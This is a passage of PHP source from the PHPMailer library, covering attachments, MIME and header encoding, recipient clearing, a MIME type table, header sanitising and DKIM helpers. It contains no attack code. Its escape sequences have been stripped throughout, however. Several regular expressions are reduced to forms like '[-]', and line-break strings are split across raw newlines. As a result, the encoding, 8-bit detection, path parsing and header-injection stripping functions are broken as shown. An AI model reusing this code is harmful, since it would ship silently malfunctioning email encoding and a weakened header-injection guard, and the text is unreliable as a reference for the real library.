* @param string $disposition Disposition to use
* @throws phpmailerException
* @return boolean
*/
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
{
try {
if (!@is_file($path)) {
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => 0
);
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Return the array of attachments.
* @return array
*/
public function getAttachments()
{
return $this->attachment;
}
/**
* Attach all file, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access protected
* @param string $disposition_type
* @param string $boundary
* @return string
*/
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();
// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s', $boundary, $this->LE);
//Only include a filename property if we have one
if (!empty($name)) {
$mime[] = sprintf(
'Content-Type: %s; name="%s"%s',
$type,
$this->encodeHeader($this->secureHeader($name)),
$this->LE
);
} else {
$mime[] = sprintf(
'Content-Type: %s%s',
$type,
$this->LE
);
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
}
if ($disposition == 'inline') {
$mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
}
// If a filename contains any of these chars, it should be quoted,
// but not otherwise: RFC2183 & RFC2045 5.1
// Fixes a warning in IETF's msglint MIME checker
// Allow for bypassing the Content-Disposition header totally
if (!(empty($disposition))) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename="%s"%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
if (!empty($encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
$mime[] = sprintf(
'Content-Disposition: %s%s',
$disposition,
$this->LE . $this->LE
);
}
}
} else {
$mime[] = $this->LE;
}
// Encode as string attachment
if ($bString) {
$mime[] = $this->encodeString($string, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
} else {
$mime[] = $this->encodeFile($path, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
}
}
}
$mime[] = sprintf('--%s--%s', $boundary, $this->LE);
return implode('', $mime);
}
/**
* Encode a file attachment in requested format.
* Returns an empty string on failure.
* @param string $path The full path to the file
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @throws phpmailerException
* @access protected
* @return string
*/
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!is_readable($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = get_magic_quotes_runtime();
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
//Doesn't exist in PHP 5.4, but we don't need to check because
//get_magic_quotes_runtime always returns false in 5.4+
//so it will never get here
ini_set('magic_quotes_runtime', false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}
/**
* Encode a string in requested format.
* Returns an empty string on failure.
* @param string $str The text to encode
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @access public
* @return string
*/
public function encodeString($str, $encoding = 'base64')
{
$encoded = '';
switch (strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->fixEOL($str);
// Make sure it ends with a line break
if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
$encoded .= $this->LE;
}
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string optimally.
* Picks shortest of Q, B, quoted-printable or none.
* @access public
* @param string $str
* @param string $position
* @return string
*/
public function encodeHeader($str, $position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
// Can't use addslashes as we don't know the value of magic_quotes_sybase
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$matchcount = preg_match_all('/[()"]/', $str, $matches);
// Intentional fall-through
case 'text':
default:
$matchcount += preg_match_all('/[---]/', $str, $matches);
break;
}
//There are no chars that need encoding
if ($matchcount == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
// Try to select the encoding which should produce the shortest output
if ($matchcount > strlen($str) / 3) {
// More than a third of the content will need encoding, so B encoding will be most efficient
$encoding = 'B';
if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->base64EncodeWrapMB($str, "
");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = 'Q';
$encoded = $this->encodeQ($str, $position);
$encoded = $this->wrapText($encoded, $maxlen, true);
$encoded = str_replace('=' . self::CRLF, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Check if a string contains multi-byte characters.
* @access public
* @param string $str multi-byte text to wrap encode
* @return boolean
*/
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return false;
}
}
/**
* Does a string contain any 8-bit chars (in any charset)?
* @param string $text
* @return boolean
*/
public function has8bitChars($text)
{
return (boolean)preg_match('/[-]/', $text);
}
/**
* Encode and wrap long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid
* @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
* @access public
* @param string $str multi-byte text to wrap encode
* @param string $linebreak string to use as linefeed/end-of-line
* @return string
*/
public function base64EncodeWrapMB($str, $linebreak = null)
{
$start = '=?' . $this->CharSet . '?B?';
$end = '?=';
$encoded = '';
if ($linebreak === null) {
$linebreak = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
} while (strlen($chunk) > $length);
$encoded .= $chunk . $linebreak;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($linebreak));
return $encoded;
}
/**
* Encode a string in quoted-printable format.
* According to RFC2045 section 6.7.
* @access public
* @param string $string The text to encode
* @param integer $line_max Number of chars allowed on a line before wrapping
* @return string
* @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
*/
public function encodeQP($string, $line_max = 76)
{
// Use native function if it's available (>= PHP5.3)
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
// Fall back to a pure PHP implementation
$string = str_replace(
array('%20', '%0D%0A.', '%0D%0A', '%'),
array(' ', "
=2E", "
", '='),
rawurlencode($string)
);
return preg_replace('/[^
]{' . ($line_max - 3) . '}[^=
]{2}/', "$0=
", $string);
}
/**
* Backward compatibility wrapper for an old QP encoding function that was removed.
* @see PHPMailer::encodeQP()
* @access public
* @param string $string
* @param integer $line_max
* @param boolean $space_conv
* @return string
* @deprecated Use encodeQP instead.
*/
public function encodeQPphp(
$string,
$line_max = 76,
/** @noinspection PhpUnusedParameterInspection */ $space_conv = false
) {
return $this->encodeQP($string, $line_max);
}
/**
* Encode a string using Q encoding.
* @link http://tools.ietf.org/html/rfc2047
* @param string $str the text to encode
* @param string $position Where the text is going to be used, see the RFC for what that means
* @access public
* @return string
*/
public function encodeQ($str, $position = 'text')
{
// There should not be any EOL in the string
$pattern = '';
$encoded = str_replace(array("
", "
"), '', $str);
switch (strtolower($position)) {
case 'phrase':
// RFC 2047 section 5.3
$pattern = '^A-Za-z0-9!*+\/ -';
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
// RFC 2047 section 5.2
$pattern = '\(\)"';
// intentional fall-through
// for this reason we build the $pattern without including delimiters and []
case 'text':
default:
// RFC 2047 section 5.1
// Replace every high ascii, control, =, ? and _ characters
$pattern = '- -=?_-' . $pattern;
break;
}
$matches = array();
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
// If the string contains an '=', make sure it's the first thing we replace
// so as to avoid double-encoding
$eqkey = array_search('=', $matches[0]);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0], '=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
// Replace every spaces to _ (more readable than =20)
return str_replace(' ', '_', $encoded);
}
/**
* Add a string or binary attachment (non-filesystem).
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @return void
*/
public function addStringAttachment(
$string,
$filename,
$encoding = 'base64',
$type = '',
$disposition = 'attachment'
) {
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($filename);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $filename,
2 => basename($filename),
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => 0
);
}
/**
* Add an embedded (inline) attachment from a file.
* This can include images, sounds, and just about any other document type.
* These differ from 'regular' attachments in that they are intended to be
* displayed inline with the message, not just attached for download.
* This is used in HTML messages that embed the images
* the HTML refers to using the $cid value.
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Add an embedded stringified attachment.
* This can include images, sounds, and just about any other document type.
* Be sure to set the $type to an image type for images:
* JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
* @param string $string The attachment binary data.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name
* @param string $encoding File encoding (see $Encoding).
* @param string $type MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = 'base64',
$type = '',
$disposition = 'inline'
) {
// If a MIME type is not specified, try to work it out from the name
if ($type == '' and !empty($name)) {
$type = self::filenameToType($name);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Check if an inline attachment is present.
* @access public
* @return boolean
*/
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
/**
* Check if an attachment (non-inline) is present.
* @return boolean
*/
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
/**
* Check if this message has an alternative body set.
* @return boolean
*/
public function alternativeExists()
{
return !empty($this->AltBody);
}
/**
* Clear queued addresses of given kind.
* @access protected
* @param string $kind 'to', 'cc', or 'bcc'
* @return void
*/
public function clearQueuedAddresses($kind)
{
$RecipientsQueue = $this->RecipientsQueue;
foreach ($RecipientsQueue as $address => $params) {
if ($params[0] == $kind) {
unset($this->RecipientsQueue[$address]);
}
}
}
/**
* Clear all To recipients.
* @return void
*/
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
$this->clearQueuedAddresses('to');
}
/**
* Clear all CC recipients.
* @return void
*/
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
$this->clearQueuedAddresses('cc');
}
/**
* Clear all BCC recipients.
* @return void
*/
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
$this->clearQueuedAddresses('bcc');
}
/**
* Clear all ReplyTo recipients.
* @return void
*/
public function clearReplyTos()
{
$this->ReplyTo = array();
$this->ReplyToQueue = array();
}
/**
* Clear all recipient types.
* @return void
*/
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
$this->RecipientsQueue = array();
}
/**
* Clear all filesystem, string, and binary attachments.
* @return void
*/
public function clearAttachments()
{
$this->attachment = array();
}
/**
* Clear all custom headers.
* @return void
*/
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
/**
* Add an error message to the error container.
* @access protected
* @param string $msg
* @return void
*/
protected function setError($msg)
{
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror['error'])) {
$msg .= $this->lang('smtp_error') . $lasterror['error'];
if (!empty($lasterror['detail'])) {
$msg .= ' Detail: '. $lasterror['detail'];
}
if (!empty($lasterror['smtp_code'])) {
$msg .= ' SMTP code: ' . $lasterror['smtp_code'];
}
if (!empty($lasterror['smtp_code_ex'])) {
$msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
}
}
}
$this->ErrorInfo = $msg;
}
/**
* Return an RFC 822 formatted date.
* @access public
* @return string
* @static
*/
public static function rfcDate()
{
// Set the time zone to whatever the default is to avoid 500 errors
// Will default to UTC if it's not set properly in php.ini
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
/**
* Get an error message in the current language.
* @access protected
* @param string $key
* @return string
*/
protected function lang($key)
{
if (count($this->language) < 1) {
$this->setLanguage('en'); // set the default language
}
if (array_key_exists($key, $this->language)) {
if ($key == 'smtp_connect_failed') {
//Include a link to troubleshooting docs on SMTP connection failure
//this is by far the biggest cause of support questions
//but it's usually not PHPMailer's fault.
return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
}
return $this->language[$key];
} else {
//Return the key as a fallback
return $key;
}
}
/**
* Check if an error occurred.
* @access public
* @return boolean True if an error did occur.
*/
public function isError()
{
return ($this->error_count > 0);
}
/**
* Ensure consistent line endings in a string.
* Changes every end of line from CRLF, CR or LF to $this->LE.
* @access public
* @param string $str String to fixEOL
* @return string
*/
public function fixEOL($str)
{
// Normalise to
$nstr = str_replace(array("
", "
"), "
", $str);
// Now convert LE as needed
if ($this->LE !== "
") {
$nstr = str_replace("
", $this->LE, $nstr);
}
return $nstr;
}
/**
* Add a custom header.
* $name value can be overloaded to contain
* both header name and value (name:value)
* @access public
* @param string $name Custom header name
* @param string $value Header value
* @return void
*/
public function addCustomHeader($name, $value = null)
{
if ($value === null) {
// Value passed in as name:value
$this->CustomHeader[] = explode(':', $name, 2);
} else {
$this->CustomHeader[] = array($name, $value);
}
}
/**
* Returns all custom headers.
* @return array
*/
public function getCustomHeaders()
{
return $this->CustomHeader;
}
/**
* Create a message from an HTML string.
* Automatically makes modifications for inline images and backgrounds
* and creates a plain-text version by converting the HTML.
* Overwrites any existing values in $this->Body and $this->AltBody
* @access public
* @param string $message HTML message string
* @param string $basedir baseline directory for path
* @param boolean|callable $advanced Whether to use the internal HTML to text converter
* or your own custom converter @see PHPMailer::html2text()
* @return string $message
*/
public function msgHTML($message, $basedir = '', $advanced = false)
{
preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
if (array_key_exists(2, $images)) {
foreach ($images[2] as $imgindex => $url) {
// Convert data URIs into embedded images
if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
$data = substr($url, strpos($url, ','));
if ($match[2]) {
$data = base64_decode($data);
} else {
$data = rawurldecode($data);
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
} elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
// Do not change urls for absolute images (thanks to corvuscorax)
// Do not change urls that are already inline images
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
$basedir .= '/';
}
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->addEmbeddedImage(
$basedir . $directory . $filename,
$cid,
$filename,
'base64',
self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
}
}
}
$this->isHTML(true);
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
$this->Body = $this->normalizeBreaks($message);
$this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
if (empty($this->AltBody)) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
self::CRLF . self::CRLF;
}
return $this->Body;
}
/**
* Convert an HTML string into plain text.
* This is used by msgHTML().
* Note - older versions of this function used a bundled advanced converter
* which was been removed for license reasons in #232
* Example usage:
* <code>
* // Use default conversion
* $plain = $mail->html2text($html);
* // Use your own custom converter
* $plain = $mail->html2text($html, function($html) {
* $converter = new MyHtml2text($html);
* return $converter->get_text();
* });
* </code>
* @param string $html The HTML text to convert
* @param boolean|callable $advanced Any boolean value to use the internal converter,
* or provide your own callable for custom conversion.
* @return string
*/
public function html2text($html, $advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced, $html);
}
return html_entity_decode(
trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))),
ENT_QUOTES,
$this->CharSet
);
}
/**
* Get the MIME type for a file extension.
* @param string $ext File extension
* @access public
* @return string MIME type of file.
* @static
*/
public static function _mime_types($ext = '')
{
$mimes = array(
'xl' => 'application/excel',
'js' => 'application/javascript',
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'bin' => 'application/macbinary',
'doc' => 'application/msword',
'word' => 'application/msword',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'class' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'dms' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'so' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php3' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xht' => 'application/xhtml+xml',
'xhtml' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'mpga' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'eml' => 'message/rfc822',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'log' => 'text/plain',
'text' => 'text/plain',
'txt' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'vcf' => 'text/vcard',
'vcard' => 'text/vcard',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mov' => 'video/quicktime',
'qt' => 'video/quicktime',
'rv' => 'video/vnd.rn-realvideo',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie'
);
if (array_key_exists(strtolower($ext), $mimes)) {
return $mimes[strtolower($ext)];
}
return 'application/octet-stream';
}
/**
* Map a file name to a MIME type.
* Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
* @param string $filename A file name or full path, does not need to exist as a file
* @return string
* @static
*/
public static function filenameToType($filename)
{
// In case the path is a URL, strip any query string before getting extension
$qpos = strpos($filename, '?');
if (false !== $qpos) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
/**
* Multi-byte-safe pathinfo replacement.
* Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
* Works similarly to the one in PHP >= 5.2.0
* @link http://www.php.net/manual/en/function.pathinfo.php#107461
* @param string $path A filename or path, does not need to exist as a file
* @param integer|string $options Either a PATHINFO_* constant,
* or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
* @return string|array
* @static
*/
public static function mb_pathinfo($path, $options = null)
{
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$pathinfo = array();
if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
if (array_key_exists(1, $pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2, $pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5, $pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3, $pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
/**
* Set or reset instance properties.
* You should avoid this function - it's more verbose, less efficient, more error-prone and
* harder to debug than setting properties directly.
* Usage Example:
* `$mail->set('SMTPSecure', 'tls');`
* is the same as:
* `$mail->SMTPSecure = 'tls';`
* @access public
* @param string $name The property name to set
* @param mixed $value The value to set the property to
* @return boolean
* @TODO Should this not be using the __set() magic function?
*/
public function set($name, $value = '')
{
if (property_exists($this, $name)) {
$this->$name = $value;
return true;
} else {
$this->setError($this->lang('variable_set') . $name);
return false;
}
}
/**
* Strip newlines to prevent header injection.
* @access public
* @param string $str
* @return string
*/
public function secureHeader($str)
{
return trim(str_replace(array("
", "
"), '', $str));
}
/**
* Normalize line breaks in a string.
* Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
* Defaults to CRLF (for message bodies) and preserves consecutive breaks.
* @param string $text
* @param string $breaktype What kind of line break to use, defaults to CRLF
* @return string
* @access public
* @static
*/
public static function normalizeBreaks($text, $breaktype = "
")
{
return preg_replace('/(
|
|
)/ms', $breaktype, $text);
}
/**
* Set the public and private key files and password for S/MIME signing.
* @access public
* @param string $cert_filename
* @param string $key_filename
* @param string $key_pass Password for private key
* @param string $extracerts_filename Optional path to chain certificate
*/
public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
$this->sign_extracerts_file = $extracerts_filename;
}
/**
* Quoted-Printable-encode a DKIM header.
* @access public
* @param string $txt
* @return string
*/
public function DKIM_QP($txt)
{
$line = '';
for ($i = 0; $i < strlen($txt); $i++) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
$line .= $txt[$i];
} else {
$line .= '=' . sprintf('%02X', $ord);
}
}
return $line;
}
/**
* Generate a DKIM signature.
* @access public
* @param string $signHeader
* @throws phpmailerException
* @return string
*/
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
return '';
}
$privKeyStr = file_get_contents($this->DKIM_private);
if ($this->DKIM_passphrase != '') {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = $privKeyStr;
}
if (openssl_sign($signHeader, $signature, $privKey)) {
return base64_encode($signature);
}
return '';
}
/**
* Generate a DKIM canonicalization header.
* @access public
* @param string $signHeader Header
* @return string
*/
public function DKIM_HeaderC($signHeader)
{
$signHeader = preg_replace('/
\s+/', ' ', $signHeader);
$lines = explode("
", $signHeader);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(':', $line, 2);
$heading = strtolower($heading);
$value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
$lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
}
$signHeader = implode("
", $lines);
return $signHeader;
}
/**
* Generate a DKIM canonicalization body.
* @access public
* @param string $body Message Body
* @return string
*/
